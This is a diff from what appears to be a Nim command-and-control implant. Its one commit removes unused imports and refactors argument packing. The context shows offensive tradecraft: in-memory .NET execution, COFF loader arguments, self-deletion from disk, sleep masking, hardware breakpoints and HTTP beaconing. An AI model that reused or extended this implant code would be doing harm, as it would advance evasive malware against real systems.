Removed warnings and unused imports.

src/agent/core/clr.nim

@@ -1,7 +1,7 @@
 import winim/[lean, clr]
-import os, strformat, strutils, sequtils
+import os
 import ../utils/[hwbp, io]
-import ../../common/[types, utils]
+import ../../common/utils
 
 #[ 
     Executing .NET assemblies in memory

src/agent/core/coff.nim

@@ -449,7 +449,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
                     prefix = Bytes.toString(arg.data)[0..3]
                     value = Bytes.toString(arg.data)[4..^1]
 
-                # Check the first two characters for a type specification 
+                # Check the prefix for a type specification 
                 case prefix: 
                 of protect("[i]:"): 
                     # Handle argument as integer
@@ -465,8 +465,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
                     # Handle argument as wide string  
                     # Add terminating NULL byte to the end of string arguments
                     let wStrData = cast[seq[byte]](+$value) # +$ converts a string to a wstring
-                    packer.add(uint32(wStrData.len()))
-                    packer.addData(wStrData)
+                    packer.addDataWithLengthPrefix(wStrData)
 
                 else: 
                     # In case no prefix is specified, handle the argument as a regular string
@@ -476,8 +475,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
                 # Handle argument as regular string
                 # Add terminating NULL byte to the end of string arguments
                 let data = arg.data & @[uint8(0)]
-                packer.add(uint32(data.len()))
-                packer.addData(data)
+                packer.addDataWithLengthPrefix(data)
     
         else: 
             # Argument is not passed as a string, but instead directly as a int or short 

src/agent/core/context.nim

@@ -1,4 +1,4 @@
-import parsetoml, base64, system
+import parsetoml, system
 import ../utils/io
 import ../../common/[types, utils, crypto, serialize]
 

src/agent/core/exit.nim

@@ -27,7 +27,7 @@ const
     - https://maldevacademy.com/modules/72
 ]#
 proc deleteSelfFromDisk*() = 
-    let newStream = newWString(fmt":{uint(rand(RAND_MAX)):x}{uint(rand(RAND_MAX)):x}")
+    let newStream = +$(fmt":{uint(rand(RAND_MAX)):x}{uint(rand(RAND_MAX)):x}")  # Convert to wString
     var 
         szFileName: array[MAX_PATH * 2, WCHAR]
         fileRenameInfo2: FILE_RENAME_INFO2

src/agent/core/http.nim

@@ -1,4 +1,4 @@
-import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
+import httpclient, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
 import ../utils/io
 import ../../common/[types, utils, profile]
 

src/agent/core/sleepmask.nim

@@ -1,6 +1,6 @@
 import winim/lean
 import winim/inc/tlhelp32
-import os, system, strformat, random
+import os, system, random, strformat
 import ../utils/[cfg, io] 
 import ../../common/[types, utils, crypto]
 

src/agent/main.nim

@@ -1,5 +1,4 @@
-import strformat, os, times, system, base64, random
-
+import times, system, random, strformat
 import core/[http, context, sleepmask, exit]
 import utils/io
 import protocol/[task, result, heartbeat, registration]

src/agent/protocol/heartbeat.nim

@@ -1,5 +1,5 @@
 import times, zippy
-import ../../common/[types, serialize, sequence, utils, crypto]
+import ../../common/[types, serialize, utils, crypto]
 
 proc createHeartbeat*(ctx: AgentCtx): Heartbeat = 
     return Heartbeat(

src/agent/protocol/registration.nim

@@ -1,4 +1,4 @@
-import winim, os, net, strformat, strutils, registry, zippy
+import winim, os, net, strutils, registry, zippy
 
 import ../../common/[types, serialize, sequence, crypto, utils]
 import ../../modules/manager
@@ -51,7 +51,7 @@ proc getProcessExe(): string =
             if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH): 
                 # .extractFilename() from the 'os' module gets the name of the executable from the full process path
                 # We replace trailing NULL bytes to prevent them from being sent as JSON data
-                return string($buffer).extractFilename().replace("\u0000", "")
+                return ($buffer).extractFilename().replace("\u0000", "")
     finally: 
         CloseHandle(hProcess)
 

src/agent/protocol/task.nim

@@ -1,5 +1,4 @@
-import strutils, tables, json, strformat, zippy
-
+import zippy, strformat
 import ./result
 import ../utils/io
 import ../../modules/manager

src/agent/utils/hwbp.nim

@@ -1,6 +1,5 @@
 import winim/lean
 import ./io
-import ../../common/utils
 
 # From: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim
 

src/agent/utils/io.nim

@@ -1,7 +1,7 @@
 import winim/lean
 import macros
 import strutils, strformat
-import ../../common/[types, utils]
+import ../../common/utils
 
 const VERBOSE* {.booldefine.} = false